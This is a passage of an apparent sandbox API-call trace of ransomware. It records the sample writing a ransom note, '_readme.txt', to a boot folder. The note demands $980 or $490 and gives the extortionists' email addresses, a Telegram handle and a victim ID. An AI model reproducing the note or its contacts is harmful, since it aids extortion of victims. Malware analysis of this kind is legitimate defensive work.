Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.197] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.198] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.198] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.198] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.198] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.198] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.198] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.198] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.198] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.198] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.198] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.198] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.198] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.198] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.198] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.198] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.198] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.198] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.198] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.198] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.198] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.198] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.198] PathFindFileNameW (pszPath="C:\\Boot\\fr-FR\\") returned="fr-FR\\" [0059.198] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.198] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.198] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.198] PathFindFileNameW (pszPath="") returned="" [0059.198] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.198] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.199] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.199] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.199] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.199] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.199] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.199] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.199] PathAppendW (in: pszPath="C:\\Boot\\fr-FR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 1 [0059.199] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.199] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.199] PathFileExistsW (pszPath="C:\\Boot\\fr-FR\\_readme.txt") returned 0 [0059.200] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.200] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.200] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.200] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.200] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\_readme.txt" (normalized: "c:\\boot\\fr-fr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.201] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.201] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.201] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.201] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.201] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.201] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.201] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.202] CloseHandle (hObject=0x5c0) returned 1 [0059.202] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.202] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.202] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.202] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.202] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.202] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b3ddf0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b3ddf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.202] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.202] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b3ddf0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b3ddf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.202] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.202] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b3ddf0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b3ddf0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b3ddf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.202] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b3ddf0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b3ddf0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b3ddf0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.202] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.203] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.203] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.203] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.204] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.204] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.204] 